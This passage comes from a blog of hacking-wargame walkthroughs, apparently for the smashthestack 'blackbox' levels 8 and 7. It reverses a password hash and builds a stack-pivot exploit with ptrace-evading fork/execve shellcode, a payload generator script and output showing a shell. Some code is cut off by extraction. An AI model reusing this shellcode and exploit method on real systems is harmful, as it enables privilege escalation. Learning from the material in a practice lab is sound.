    if (var_41c >= (func(var_10) - 1)) goto 0x80484f3
[/code]

Let's call that address label1 from now on, in case we see it again.  

[code]

    080484AC  81BDE4FBFFFFFB03  cmp dword [ebp-0x41c],0x3fb
             -0000
    080484B6  7602              jna 0x80484ba
    080484B8  EB39              jmp short 0x80484f3
[/code]

This compares var\_41c to the constant 0x3fb, and jumps to some new location,
or to label1 if the test fails. Equivalent C code:  

[code]

    if (var_41c <= 0x3fb) goto 0x80484f3
    else goto label1
[/code]

Let's call the new address label2.  
For the next piece of code, notice it starts at label2, I'll just annotate it:  

[code]

    label2:
    080484BA  8D85E8FBFFFF      lea eax,[ebp-0x418]
    080484C0  89C3              mov ebx,eax
    080484C2  039DE4FBFFFF      add ebx,[ebp-0x41c]
    080484C8  8B85E4FBFFFF      mov eax,[ebp-0x41c]
    080484CE  0345F0            add eax,[ebp-0x10]
    080484D1  8D4801            lea ecx,[eax+0x1]
    080484D4  8B85E4FBFFFF      mov eax,[ebp-0x41c]
    080484DA  0345F0            add eax,[ebp-0x10]
    080484DD  0FB610            movzx edx,byte [eax]
    080484E0  0FB601            movzx eax,byte [ecx]
    080484E3  28D0              sub al,dl
    080484E5  045A              add al,0x5a
    080484E7  8803              mov [ebx],al
    080484E9  8D85E4FBFFFF      lea eax,[ebp-0x41c]
    080484EF  FF00              inc dword [eax]
    080484F1  EBA5              jmp short 0x8048498
[/code]

What happens here is this, and you can verify it yourself:  

[code]

    var_418[var_41c] = var_10[var_41c + 1] - var_10[var_41c] + 0x5a;
    var_41c++;
[/code]

This tells us several things:  

  1. var\_41c is some sort of index, from now on we will call it idx.
  2. var\_418 is some temporary buffer in the stack, we'll call it buf.
  3. var\_10, which was returned from the prompt function, is a pointer to some input, most probably the user input, and the the prompt function is a prompt-and-read function. We will call it input.

At the end of that section, there's a jump to 0x8048498 which we will call
label3. We've already been there, it's the piece that contained the mystery
function. Let's rewrite it, but with more meaningful names and see if it sheds
some new light:  

[code]

    if (idx >= (func(input) - 1)) goto label1
    else if (idx <= 0x3fb) goto label2
    else goto label1
[/code]

I think we can spots what's happening here, mystery function func is actually
strlen, and this is part of a while statement:  

[code]

    while ((idx < strlen(input)) && (idx <= 0x3fb)) {
        buf[idx] = input[idx + 1] - input[idx] + 0x5a;
        idx++;
    }
    /* do label1 stuff */
    
[/code]

OK, let's see what happens at label1 \(I'm going to start annotating the code
with variable names\):  

[code]

    label1:
    080484F3  8D85E8FBFFFF      lea eax,[buf]
    080484F9  89C2              mov edx,eax
    080484FB  0395E4FBFFFF      add edx,[idx]
    08048501  8B85E4FBFFFF      mov eax,[idx]
    08048507  0345F0            add eax,[input]
    0804850A  0FB600            movzx eax,byte [eax]
    0804850D  C0F804            sar al,0x4
    08048510  240F              and al,0xf
    08048512  0421              add al,0x21
    08048514  8802              mov [edx],al
[/code]

This translates to:  

[code]

    buf[idx] = 0x21 + (input[idx] >> 4) & 0xf;
[/code]

The next chunk:  

[code]

    08048516  8D85E9FBFFFF      lea eax,[buf+1]
    0804851C  89C2              mov edx,eax
    0804851E  0395E4FBFFFF      add edx,[idx]
    08048524  8B85E4FBFFFF      mov eax,[idx]
    0804852A  0345F0            add eax,[input]
    0804852D  0FB600            movzx eax,byte [eax]
    08048530  240F              and al,0xf
    08048532  0421              add al,0x21
    08048534  8802              mov [edx],al
[/code]

Which translates to:  

[code]

    buf[idx + 1] = 0x21 + input[idx] & 0xf;
[/code]

Next we have:  

[code]

    08048536  8D85EAFBFFFF      lea eax,[buf+2]
    0804853C  0385E4FBFFFF      add eax,[idx]
    08048542  C60000            mov byte [eax],0x0
    08048545  C785E4FBFFFF0000  mov dword [idx],0x0
             -0000
[/code]

This is equivalent to:  

[code]

    buf[idx + 2] = 0;
    idx = 0;
[/code]

This looks like something string-like was terminated, and the index was reset,
probably for a second pass. Let's see what happens next:  

[code]

    0804854F  8D85E8FBFFFF      lea eax,[buf]
    08048555  890424            mov [esp],eax
    08048558  E80BFEFFFF        call dword 0x8048368 [strlen]
    0804855D  48                dec eax
    0804855E  3985E4FBFFFF      cmp [idx],eax
    08048564  7205              jc 0x804856b [label4]
    08048566  E99B000000        jmp dword 0x8048606 [label5]
[/code]

Translated to C:  

[code]

    if (idx < strlen(buf) - 1) goto label4;
    else goto label5;
[/code]

The next piece of code starts at label4, and has a repeating pattern, so I'll
paste it all at once:  

[code]

    label4:
    0804856B  8D85E8FBFFFF      lea eax,[buf]
    08048571  89C1              mov ecx,eax
    08048573  038DE4FBFFFF      add ecx,[idx]
    08048579  8D85E8FBFFFF      lea eax,[buf]
    0804857F  89C2              mov edx,eax
    08048581  0395E4FBFFFF      add edx,[idx]
    08048587  8D85E9FBFFFF      lea eax,[buf+1]
    0804858D  0385E4FBFFFF      add eax,[idx]
    08048593  0FB600            movzx eax,byte [eax]
    08048596  3202              xor al,[edx]
    08048598  8801              mov [ecx],al
    0804859A  8D85E9FBFFFF      lea eax,[buf+1]
    080485A0  89C1              mov ecx,eax
    080485A2  038DE4FBFFFF      add ecx,[idx]
    080485A8  8D85E9FBFFFF      lea eax,[buf+1]
    080485AE  89C2              mov edx,eax
    080485B0  0395E4FBFFFF      add edx,[idx]
    080485B6  8D85E8FBFFFF      lea eax,[buf]
    080485BC  0385E4FBFFFF      add eax,[idx]
    080485C2  0FB600            movzx eax,byte [eax]
    080485C5  3202              xor al,[edx]
    080485C7  8801              mov [ecx],al
    080485C9  8D85E8FBFFFF      lea eax,[buf]
    080485CF  89C1              mov ecx,eax
    080485D1  038DE4FBFFFF      add ecx,[idx]
    080485D7  8D85E8FBFFFF      lea eax,[buf]
    080485DD  89C2              mov edx,eax
    080485DF  0395E4FBFFFF      add edx,[idx]
    080485E5  8D85E9FBFFFF      lea eax,[buf+1]
    080485EB  0385E4FBFFFF      add eax,[idx]
    080485F1  0FB600            movzx eax,byte [eax]
    080485F4  3202              xor al,[edx]
    080485F6  8801              mov [ecx],al
[/code]

Which is:  

[code]

    buf[idx] = buf[idx] ^ buf[idx + 1];
    buf[idx + 1] = buf[idx] ^ buf[idx + 1];
    buf[idx] = buf[idx] ^ buf[idx + 1];
[/code]

That's just the code for swapping bytes.  
Next we have:  

[code]

    080485F8  8D85E4FBFFFF      lea eax,[idx]
    080485FE  830002            add dword [eax],byte +0x2
    08048601  E949FFFFFF        jmp dword 0x804854f
[/code]

Which increments the index by 2 and then jumps back to the index comparison,
which makes it look like another loop:  

[code]

    for (idx = 0; i < strlen(buf) - 1; i += 2) {
        buf[idx] = buf[idx] ^ buf[idx + 1];
        buf[idx + 1] = buf[idx] ^ buf[idx + 1];
        buf[idx] = buf[idx] ^ buf[idx + 1];
    }
[/code]

Next is the code that gets executed when the loop is exhausted:  

[code]

    label5:
    08048606  8D95E8FBFFFF      lea edx,[buf]
    0804860C  8B45F4            mov eax,[gibberish]
    0804860F  89442404          mov [esp+0x4],eax
    08048613  891424            mov [esp],edx
    08048616  E81DFDFFFF        call dword 0x8048338
    0804861B  85C0              test eax,eax
    0804861D  751A              jnz 0x8048639
[/code]

I think by this time you figured out what's happening here, gibberish is a
password hash, and the the program did so far is to hash the input password,
and this is where they get compared.  
I won't continue analyzing the code anymore, because that's enough. Let's
combine all the little pieces of C code and see what we can do:  

[code]

    while ((idx < strlen(input)) && (idx <= 0x3fb)) {
        buf[idx] = input[idx + 1] - input[idx] + 0x5a;
        idx++;
    }
    
    buf[idx] = 0x21 + (input[idx] >> 4) & 0xf;
    buf[idx + 1] = 0x21 + input[idx] & 0xf;
    buf[idx + 2] = 0;
    
    for (idx = 0; i < strlen(buf) - 1; i += 2) {
        buf[idx] = buf[idx] ^ buf[idx + 1];
        buf[idx + 1] = buf[idx] ^ buf[idx + 1];
        buf[idx] = buf[idx] ^ buf[idx + 1];
    }
[/code]

Well, we know the hash, and we know the hashed password. We can now perform an
inverse hash and obtain the original password.  
That should be easy, working backwards:  

  1. Unswap every two consecutive bytes in the hash.
  2. Take the last two bytes, subtract 0x21 from them, and recombine them to a single byte, one being the high nibble, and the other the low nibble. Now we know input\[N\]
  3. Reversing the formula for buf inside the while we can obtain a regression formula for the input: input\[i\] = input\[i + 1\] - buf\[i\] + 0x5a.

I think I'll leave it to you to write a script and obtain the password
yourselves.  
I'll check check if it works:  

[code]

    level8@blackbox:~$ ./secrets
    Please enter your password: 
    Welcome
    sh-3.1$
[/code]

Just one last level to go ;\)

Posted by  danzat  at 11:25 AM 0 comments

Email ThisBlogThis\!Share to TwitterShare to Facebook

Labels: blackbox, hacking

###  Blackbox - chapter 7

_As in the previous posts, the password for the next level has been replaced
with question marks so as to not make this too obvious, and so that the point
of the walkthrough, which is mainly educational, will not be missed._  
  
Also, make sure you notice this **SPOILER ALERT\!** If you want to try and
solve the level by yourself then read no further\!  
  
Level 7. There we go again:  

[code]

    $ ssh -p 2225 level7@blackbox.smashthestack.org
    level7@blackbox.smashthestack.org's password:
    ...
    level7@blackbox:~$ ls -l
    total 12
    -rwsr-xr-x 1 level8 level8 7851 2008-04-21 18:26 heybabe
    -rw-r--r-- 1 root   level7   10 2008-01-24 05:56 passwd
[/code]

No source, so like the previous time, let's start with dumping the data:  

[code]

    level7@blackbox:~$ objdump -s --section=.rodata heybabe
    
    heybabe:     file format elf32-i386
    
    Contents of section .rodata:
     80486b0 03000000 01000200 75736167 653a2025  ........usage: %
     80486c0 73203c61 72673e0a 00000000 54726163  s <arg>.....Trac
     80486d0 696e6720 64657465 63746564 203a2920  ing detected :) 
     80486e0 736f7272 79202e2e 2e2e2e00 544f5547  sorry ......TOUG
     80486f0 48205348 49542100 57616c6b 20746865  H SHIT!.Walk the
     8048700 20776179 206f6620 74686520 31333337   way of the 1337
     8048710 206f6e65 2100                         one!.
[/code]

As before, I've colored the strings, and made a summary:  

[code]

    80486b8: usage : %s <arg>\n
    80486cc: Tracing detected :) sorry .....
    80486ec: TOUGH SHIT!
    80486f8: Walk the way of the 1337 one!
[/code]

Now we'll disassemble main:  

[code]

    level7@blackbox:~$ objdump -d heybabe|grep -A80 "<main>:"
    08048464 <main>:
     8048464: 8d 4c 24 04           lea    0x4(%esp),%ecx
     8048468: 83 e4 f0              and    $0xfffffff0,%esp
     804846b: ff 71 fc              pushl  0xfffffffc(%ecx)
     804846e: 55                    push   %ebp
     804846f: 89 e5                 mov    %esp,%ebp
     8048471: 57                    push   %edi
     8048472: 51                    push   %ecx
     8048473: 81 ec 10 04 00 00     sub    $0x410,%esp
     8048479: 89 8d 04 fc ff ff     mov    %ecx,0xfffffc04(%ebp)
     804847f: 8b 85 04 fc ff ff     mov    0xfffffc04(%ebp),%eax
     8048485: 83 38 02              cmpl   $0x2,(%eax)
     8048488: 74 27                 je     80484b1 <main+0x4d>
     804848a: 8b 95 04 fc ff ff     mov    0xfffffc04(%ebp),%edx
     8048490: 8b 42 04              mov    0x4(%edx),%eax
     8048493: 8b 00                 mov    (%eax),%eax
     8048495: 89 44 24 04           mov    %eax,0x4(%esp)
     8048499: c7 04 24 b8 86 04 08  movl   $0x80486b8,(%esp)
     80484a0: e8 cf fe ff ff        call   8048374 <printf@plt>
     80484a5: c7 04 24 ff ff ff ff  movl   $0xffffffff,(%esp)
     80484ac: e8 d3 fe ff ff        call   8048384 <exit@plt>
     80484b1: c7 44 24 0c 00 00 00  movl   $0x0,0xc(%esp)
     80484b8: 00 
     80484b9: c7 44 24 08 01 00 00  movl   $0x1,0x8(%esp)
     80484c0: 00 
     80484c1: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
     80484c8: 00 
     80484c9: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
     80484d0: e8 7f fe ff ff        call   8048354 <ptrace@plt>
     80484d5: 85 c0                 test   %eax,%eax
     80484d7: 79 18                 jns    80484f1 <main+0x8d>
     80484d9: c7 04 24 cc 86 04 08  movl   $0x80486cc,(%esp)
     80484e0: e8 5f fe ff ff        call   8048344 <puts@plt>
     80484e5: c7 04 24 ff ff ff ff  movl   $0xffffffff,(%esp)
     80484ec: e8 93 fe ff ff        call   8048384 <exit@plt>
     80484f1: 8b bd 04 fc ff ff     mov    0xfffffc04(%ebp),%edi
     80484f7: 8b 47 04              mov    0x4(%edi),%eax
     80484fa: 83 c0 04              add    $0x4,%eax
     80484fd: 8b 00                 mov    (%eax),%eax
     80484ff: c7 44 24 08 e7 03 00  movl   $0x3e7,0x8(%esp)
     8048506: 00 
     8048507: 89 44 24 04           mov    %eax,0x4(%esp)
     804850b: 8d 85 10 fc ff ff     lea    0xfffffc10(%ebp),%eax
     8048511: 89 04 24              mov    %eax,(%esp)
     8048514: e8 7b fe ff ff        call   8048394 <strncpy@plt>
     8048519: 8d 85 10 fc ff ff     lea    0xfffffc10(%ebp),%eax
     804851f: b9 ff ff ff ff        mov    $0xffffffff,%ecx
     8048524: 89 85 00 fc ff ff     mov    %eax,0xfffffc00(%ebp)
     804852a: b0 00                 mov    $0x0,%al
     804852c: fc                    cld    
     804852d: 8b bd 00 fc ff ff     mov    0xfffffc00(%ebp),%edi
     8048533: f2 ae                 repnz scas %es:(%edi),%al
     8048535: 89 c8                 mov    %ecx,%eax
     8048537: f7 d0                 not    %eax
     8048539: 48                    dec    %eax
     804853a: 40                    inc    %eax
     804853b: c6 84 05 10 fc ff ff  movb   $0x0,0xfffffc10(%ebp,%eax,1)
     8048542: 00 
     8048543: c7 44 24 04 24 00 00  movl   $0x24,0x4(%esp)
     804854a: 00 
     804854b: 8d 85 10 fc ff ff     lea    0xfffffc10(%ebp),%eax
     8048551: 89 04 24              mov    %eax,(%esp)
     8048554: e8 db fd ff ff        call   8048334 <strchr@plt>
     8048559: 85 c0                 test   %eax,%eax
     804855b: 74 18                 je     8048575 <main+0x111>
     804855d: c7 04 24 ec 86 04 08  movl   $0x80486ec,(%esp)
     8048564: e8 0b fe ff ff        call   8048374 <printf@plt>
     8048569: c7 04 24 ff ff ff ff  movl   $0xffffffff,(%esp)
     8048570: e8 0f fe ff ff        call   8048384 <exit@plt>
     8048575: c7 04 24 f8 86 04 08  movl   $0x80486f8,(%esp)
     804857c: e8 f3 fd ff ff        call   8048374 <printf@plt>
     8048581: 8d 85 10 fc ff ff     lea    0xfffffc10(%ebp),%eax
     8048587: 89 04 24              mov    %eax,(%esp)
     804858a: e8 e5 fd ff ff        call   8048374 <printf@plt>
     804858f: b8 00 00 00 00        mov    $0x0,%eax
     8048594: 81 c4 10 04 00 00     add    $0x410,%esp
     804859a: 59                    pop    %ecx
     804859b: 5f                    pop    %edi
     804859c: 5d                    pop    %ebp
     804859d: 8d 61 fc              lea    0xfffffffc(%ecx),%esp
     80485a0: c3                    ret
[/code]

The first few lines, up to the cmpl &amp; je should be familiar \(if not, see
the previous chapter for a detailed description\) and mean first, that the
address to the arguments is stored at ebp-0x3fc, and second, that the program
expects exactly one argument.  
  
The next lines are somewhat more tricky and important to this level:  

[code]

     80484b1: c7 44 24 0c 00 00 00  movl   $0x0,0xc(%esp)
     80484b8: 00 
     80484b9: c7 44 24 08 01 00 00  movl   $0x1,0x8(%esp)
     80484c0: 00 
     80484c1: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
     80484c8: 00 
     80484c9: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
     80484d0: e8 7f fe ff ff        call   8048354 <ptrace@plt>
     80484d5: 85 c0                 test   %eax,%eax
     80484d7: 79 18                 jns    80484f1 <main+0x8d>
[/code]

The called function is ptrace, and it is called with the following parameters:
ptrace\(0, 0, 1, 0\). Then the return value is tested to be 0, and a jump is
performed accordingly.  
Now, what is this ptrace, what are the arguments, and why is it crucial for
this level.  
Well, ptrace is a system call, and we can find some documentation about it in
the man pages \(cropped for brevity and relevance, you can find the full man-
pages by invoking man ptrace\):  

[code]

    PTRACE(2)                 Linux Programmer's Manual                 PTRACE(2)
    
    NAME
           ptrace - process trace
    
    SYNOPSIS
           #include 
[/code]

long ptrace\(enum \_\_ptrace\_request request, pid\_t pid, void \*addr, void
\*data\); DESCRIPTION The ptrace\(\) system call provides a means by which a
parent process may observe and control the execution of another process, and
examine and change its core image and registers. It is primarily used to
implement breakpoint debugging and system call tracing. The parent can
initiate a trace by calling fork\(2\) and having the resulting child do a
PTRACE\_TRACEME, followed \(typically\) by an exec\(3\). Alternatively, the
parent may commence trace of an existing process using PTRACE\_ATTACH. \(See
additional notes below.\) ... The value of request determines the action to be
performed: PTRACE\_TRACEME Indicates that this process is to be traced by its
parent. Any signal \(except SIGKILL\) delivered to this process will cause it
to stop and its parent to be notified via wait\(2\). Also, all subsequent
calls to execve\(2\) by this process will cause a SIG‐ TRAP to be sent to it,
giving the parent a chance to gain con‐ trol before the new program begins
execution. A process proba‐ bly shouldn't make this request if its parent
isn't expecting to trace it. \(pid, addr, and data are ignored.\) The above
request is used only by the child process; the rest are used only by the
parent. In the following requests, pid specifies the child process to be acted
on. For requests other than PTRACE\_KILL, the child process must be stopped.
... RETURN VALUE On success, PTRACE\_PEEK\* requests return the requested
data, while other requests return zero. On error, all requests return -1, and
errno is set appropriately. Since the value returned by a successful
PTRACE\_PEEK\* request may be -1, the caller must check errno after such
requests to determine whether or not an error occurred. ...

OK, what can we learn from the man pages:  

  1. The ptrace system-call receives 4 parameters: a request code, a pid, an address pointer and a data pointer.
  2. The request code used in our case is 0, which corresponds to PTRACE\_TRACEME. What this request does is make the process behave in a traceable fashion, which involves, among other things, making it **stop before any call to execve**. Also, all the rest of the arguments are ignored.
  3. The function returns -1 on failure.

So, in our case, ptrace fails, it will return -1, trigger the sign flag, which
means that the jump branch will not be taken and we go to:  

[code]

     80484d9: c7 04 24 cc 86 04 08  movl   $0x80486cc,(%esp)
     80484e0: e8 5f fe ff ff        call   8048344 <puts@plt>
     80484e5: c7 04 24 ff ff ff ff  movl   $0xffffffff,(%esp)
     80484ec: e8 93 fe ff ff        call   8048384 <exit@plt>
[/code]

That's just an error print and an exit.  
When will it fail? Well, if the process is already marked as being traced,
then ptrace will fail, it will happen if we try to debug the program by
running it in gdb. This can be averted by setting a breakpoint before the test
instruction and changing the value of eax so that the test will pass. This is
not important for this level, but it's good to know.  
The real important thing is, that since the process is in trace mode, we can't
execute a shellcode that has an execve system call in it.  
Bear that in mind as we continue to analyze the program.  

[code]

     80484f1: 8b bd 04 fc ff ff     mov    0xfffffc04(%ebp),%edi
     80484f7: 8b 47 04              mov    0x4(%edi),%eax
     80484fa: 83 c0 04              add    $0x4,%eax
     80484fd: 8b 00                 mov    (%eax),%eax
[/code]

This just loads eax with the address of argv\[1\] \(again, should be familiar
from the previous chapter\).  

[code]

     80484ff: c7 44 24 08 e7 03 00  movl   $0x3e7,0x8(%esp)
     8048506: 00 
     8048507: 89 44 24 04           mov    %eax,0x4(%esp)
     804850b: 8d 85 10 fc ff ff     lea    0xfffffc10(%ebp),%eax
     8048511: 89 04 24              mov    %eax,(%esp)
     8048514: e8 7b fe ff ff        call   8048394 <strncpy@plt>
[/code]

Now, this is a call to a safe strncpy with the destination being ebp-0x3f0,
which we will call from now on buf, the source being argv\[1\] and the maximum
size limit being 0x3e7.  
The next piece of code is a bit tricky:  

[code]

     8048519: 8d 85 10 fc ff ff     lea    0xfffffc10(%ebp),%eax
     804851f: b9 ff ff ff ff        mov    $0xffffffff,%ecx
     8048524: 89 85 00 fc ff ff     mov    %eax,0xfffffc00(%ebp)
     804852a: b0 00                 mov    $0x0,%al
     804852c: fc                    cld    
     804852d: 8b bd 00 fc ff ff     mov    0xfffffc00(%ebp),%edi
     8048533: f2 ae                 repnz scas %es:(%edi),%al
     8048535: 89 c8                 mov    %ecx,%eax
     8048537: f7 d0                 not    %eax
     8048539: 48                    dec    %eax
[/code]

This is basically an inline implementation of strlen with buf as the argument.
For a more in depth explanation of how this works you can check out this
article. Bottom line, eax now contains the length of buf, which is the number
of bytes until the first string terminator.  
However, and this is important, there is an interesting point about strncpy,
and that is that if the source string is longer than the limit, it will not
terminate the string at the destination. This means that buf will not
necessarily have a string terminator inside it, and then strlen will keep
searching up the rest of the stack for a 0x00.  

[code]

     804853a: 40                    inc    %eax
     804853b: c6 84 05 10 fc ff ff  movb   $0x0,0xfffffc10(%ebp,%eax,1)
     8048542: 00 
[/code]

This puts a string terminator after the end of buf.  

[code]

     8048543: c7 44 24 04 24 00 00  movl   $0x24,0x4(%esp)
     804854a: 00 
     804854b: 8d 85 10 fc ff ff     lea    0xfffffc10(%ebp),%eax
     8048551: 89 04 24              mov    %eax,(%esp)
     8048554: e8 db fd ff ff        call   8048334 <strchr@plt>
     8048559: 85 c0                 test   %eax,%eax
     804855b: 74 18                 je     8048575 <main+0x111>
[/code]

This performs a search on buf for the character '$'=0x24 using strchr, which
if successful, returns some non-0 pointer to the character, or NULL on
failure.  
If the search is successful, i.e. we have a '$' in our buffer, we are turned
towards:  

[code]

     804855d: c7 04 24 ec 86 04 08  movl   $0x80486ec,(%esp)
     8048564: e8 0b fe ff ff        call   8048374 <printf@plt>
     8048569: c7 04 24 ff ff ff ff  movl   $0xffffffff,(%esp)
     8048570: e8 0f fe ff ff        call   8048384 <exit@plt>
[/code]

This prints a message and exits. This is important since this path does not
lead to a return from main.  
If we do not have a '$' in buf, we go to:  

[code]

     804857c: e8 f3 fd ff ff        call   8048374 
[/code]

8048581: 8d 85 10 fc ff ff lea 0xfffffc10\(%ebp\),%eax 8048587: 89 04 24 mov
%eax,\(%esp\) 804858a: e8 e5 fd ff ff call 8048374 <printf@plt> 804858f: b8 00
00 00 00 mov $0x0,%eax 8048594: 81 c4 10 04 00 00 add $0x410,%esp 804859a: 59
pop %ecx 804859b: 5f pop %edi 804859c: 5d pop %ebp 804859d: 8d 61 fc lea
0xfffffffc\(%ecx\),%esp 80485a0: c3 ret

Which contains a return from main.  
Now, here I'd like to discuss the last few lines of code in detail. The thing
is, that when ret is executed, it pops whatever esp points to, and jumps
there.  
Notice that before the return, esp is loaded with ecx-4, while ecx is popped
from the stack.  
Before we continue, I just want to sketch the stack:  

<img src='img/Temp2_1956.png' />

Now suppose this scenario:  

  1. We supply a very long, yet to be determined, argument to the program.
  2. The important thing is that we want ecx to be 0xbfff0100.
  3. This will make strlen stop when it reaches the LSB of the stored ecx, which means that a new 0x00 byte will be written on the second byte of the stored ecx, resulting in 0xbfff0000, which is an address 256 bytes lower than the original ecx. 
  4. That address is actually an address inside buf.
  5. When at the end of main, that address \(-4\) will be loaded into esp, we can make sure that it contains the address of the bottom of buf.
  6. The bottom of buf itself will contain a shellcode.

So, let's analyze how ecx might be affected. First, let's see what's its value
is without any arguments:  

[code]

    level7@blackbox:~$ gdb heybabe
    GNU gdb 6.4.90-debian
    ...
    (gdb) b main
    Breakpoint 1 at 0x8048473
    (gdb) run
    Starting program: /home/level7/heybabe 
    
    Breakpoint 1, 0x08048473 in main ()
    (gdb) x/a $ebp-8
    0xbfffda80:	0xbfffdaa0
[/code]

We would like that to be 0xbfff0100. So let's try with an argument
0xbfffdaa0-0xbfff0100=0xd9a0 bytes long:  

[code]

    (gdb) run `python -c "print 'a'*0xd9a0"`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/level7/heybabe `python -c "print 'a'*0xd9a0"`
    
    Breakpoint 1, 0x08048473 in main ()
    (gdb) x/a $ebp-8
    0xbfff00e0:	0xbfff0100
[/code]

Good. You can also see that ebp-8=0xbfff00e0 so ebp=0xbfff00e8.  
This means that the tampered ecx will point to ebp-0xe8. So, 4 bytes blow
that, at ebp-0xec, we should prepare the address ebp-0x3f0=0xbffefcf8.  
  
Now that we have the structure of the payload figured out, we need to figure
out the payload.  
  
Remember that the call to ptrace with PTRACE\_TRACEME will make the process
stop before any call to execve.  
How can we circumvent that? Well, the ptrace is active only on the process
that called it, so if we were to fork, the child process will not be traced,
and can do whatever it wants without any limitations.  
So what the shellcode needs to do is fork, the child should call execve, and
the parent should wait for the child \(this way we can interact with the shell
and not cause it to just run in the background\).  
We want out shellcode to be the equivalent of the following C code:  

[code]

    pid = fork();
    if (pid == 0) {
        execve(...);
    } else {
        wait(NULL);
    }
[/code]

We have already worked out the code for the execve in the second chapter.
Let's figure out the other two.  
Instead of disassembling fork, I'll disassemble vfork, because fork under libc
does not use the fork system call, but rather clone \(look in notes of the
fork man pages\).  

[code]

    (gdb) disas vfork
    Dump of assembler code for function vfork:
    0x00c6f950 
[/code]

: pop %ecx 0x00c6f951

: mov %gs:0x4c,%edx 0x00c6f958

: mov %edx,%eax 0x00c6f95a

: neg %eax 0x00c6f95c

: jne 0xc6f963

0x00c6f95e

: mov $0x80000000,%eax 0x00c6f963

: mov %eax,%gs:0x4c **0x00c6f969**

**: mov $0xbe,%eax 0x00c6f96e**

**: int $0x80**

****

****...

Now for wait. The thing is, wait is not a system call by itself, wait4 is. The
prototype for wait4 is:  

[code]

    pid_t wait4(pid_t pid, int *status, int options, struct rusage *rusage);
[/code]

So wait\(NULL\) is equivalent to wait4\(-1, NULL, 0, NULL\) . Using a pid of
-1 means it waits for any child process \(from the man page of waitpid\).  
The disassembly of wait4's wrapper is:  

[code]

    (gdb) disas wait4
    Dump of assembler code for function wait4:
    0x00c6ef70 
[/code]

: push %esi 0x00c6ef71

: push %ebx **0x00c6ef72**

**: mov 0x18\(%esp\),%esi 0x00c6ef76**

**: mov 0x14\(%esp\),%edx 0x00c6ef7a**

**: mov 0x10\(%esp\),%ecx 0x00c6ef7e**

**: mov 0xc\(%esp\),%ebx 0x00c6ef82**

**: mov $0x72,%eax 0x00c6ef87**

**: int $0x80**

****

****

****

****

****

****...

So let's write our shellcode and try it out. I've written it with ptrace in
the beginning so we can make sure it works under the same constraints as it
would in the exploit.  

[code]

    level7@blackbox:/tmp$ cat &gt; shellcode7.c
    #include <sys/ptrace.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char *argv[])
    {
        int pid;
        pid = getpid();
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        __asm__(
            "xorl %eax,%eax\n\t"
            "movb $0xbe,%al\n\t"
            "int $0x80\n\t"
            "test %eax,%eax\n\t"
            "je child\n\t"
            "xorl %eax,%eax\n\t"
            "xorl %ebx,%ebx\n\t"
            "dec %ebx\n\t"
            "xorl %ecx,%ecx\n\t"
            "xorl %edx,%edx\n\t"
            "xorl %esi,%esi\n\t"
            "movb $0x72,%al\n\t"
            "int $0x80\n"
            "child:\n\t"
            "xorl  %eax,%eax\n\t"
            "pushl %eax\n\t"
            "pushl $0x68732f2f\n\t"
            "pushl $0x6e69622f\n\t"
            "movl  %esp, %ebx\n\t"
            "pushl %eax\n\t"
            "pushl %ebx\n\t"
            "movl  %esp, %ecx\n\t"
            "xorl  %edx, %edx\n\t"
            "movb  $0x0b, %al\n\t"
            "int $0x80"
        );
        return 0;
    }
    
    level7@blackbox:/tmp$ gcc -o shellcode7 shellcode7.c
    level7@blackbox:/tmp$ ./shellcode7
    sh-3.1$
[/code]

It works.  
Let's extract the raw code, and embed it in a script:  

[code]

    level7@blackbox:/tmp$ cat &gt; gen7.py
    import struct
    
    SHELLCODE = "31c0b0becd8085c0740f31c031db4b31c931d231f6b072cd8031c050682f2f7368682f62696
    e89e3505389e131d2b00bcd80".decode("hex")
    BUF = 0xbffefcf8
    
    ARG = SHELLCODE
    ARG += 'X' * (0x3f0 - 0xec - len(ARG))
    ARG += struct.pack("
[/code]

ARG += 'X' \* \(0xd9a0 - len\(ARG\)\) print ARG

Show time:  

[code]

    level7@blackbox:~$ ~/heybabe `python /tmp/gen7.py`
    Walk the way of the 1337 one!1���̀��t1�1�K1�1�1��r̀1�Ph//shh/bin��PS��1Ұ
                                                                          XXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXX����XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXsh-3.1$ 
    sh-3.1$ cat /home/level8/password
    ????????????
[/code]

On to the next level \(sorry for the spam there, but that IS the output\)

Posted by  danzat  at 7:02 AM 0 comments

Email ThisBlogThis\!Share to TwitterShare to Facebook

Labels: blackbox, hacking

